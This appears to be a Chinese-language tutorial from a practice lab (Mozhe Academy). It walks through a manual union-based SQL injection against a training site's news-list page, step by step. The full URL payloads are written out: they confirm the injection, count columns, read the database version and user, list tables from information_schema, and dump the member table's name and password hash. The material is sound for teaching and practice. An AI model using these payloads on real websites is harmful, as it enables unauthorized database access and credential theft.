1.登录墨者学院(https://www.mozhe.cn/) 点击手工SQL注入练习专题,没注册号的注册一个号。
 3.寻找可以SQL注入的位置,(蓝箭头)可见网站为一个目录页面,不存在SQL注入点,接下来就在此页面下找可注入点(红箭头)。  ?id=1 可以尝试下是否可以注入  http://219.153.49.228:48479/new_list.php?id=1 and 1=1 不报错 http://219.153.49.228:48479/new_list.php?id=1 and 1=2 报错,发现注入点(这个地方可以在id等于1后面随便输和and 1=2效果是一样的) 4.开始注入 http://219.153.49.228:48479/new_list.php?id=1 使用order by 查询列名 ,发现到5是报错,说明列名不大于5,所以列名为4,注入方法在id=1后面输入 order by 1,回车看是否报错,不报错的话重新在id=1后面输入 order by 2,以此类推直到报错。 http://219.153.49.228:48479/new_list.php?id=-1 union select 1,2,3,4 这里使用union,必须要让id后面数字改变以产生错误。列名为4所以这里是1,2,3,4。 
此处显示2,3那么我们数据就可以往2,3上输入查询(网站上的%20是url编码把空格变成了%20) 数据库版本:version() 用户名:user() 数据库名字:database() 主机操作系统:@@version_compile_os http://219.153.49.228:48479/new_list.php?id=-1 union select 1,version(),user(),4
 http://219.153.49.228:48479/new_list.php?id=-1 union select 1, database(),@@version_compile_os,4  information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限。 information_schema.tables : 记录所有表名信息的表 information_schema.columns : 记录所有列名信息的表 table_name 表名 column_name 列名 table_ schema 数据库名 查询指定数据库名mozhe_Discuz_StormGroup下的表名信息: http://219.153.49.228:48680/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_ schema=‘mozhe_Discuz_StormGroup‘ (http://219.153.49.228:48680/new_list.php?id=-1%20union%20select%201,%20table_name,3,4%20from%20information_schema.tables%20where%20table_schema=%27mozhe_Discuz_StormGroup%27)  查出表名为StormGroup_member 我们根据所得出的这个表名可查询此表列名 http://219.153.49.228:48680/new_list.php?id=-1%20union%20select%201,%20group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27StormGroup_member%27  查询指定数据 http://219.153.49.228:48680/new_list.php?id=-1%20union%20select%201,%20name,password,4%20from StormGroup_member   Name:mozhe Password: dsan13(356f589a7df439f6f744ff19bb8092c0)
|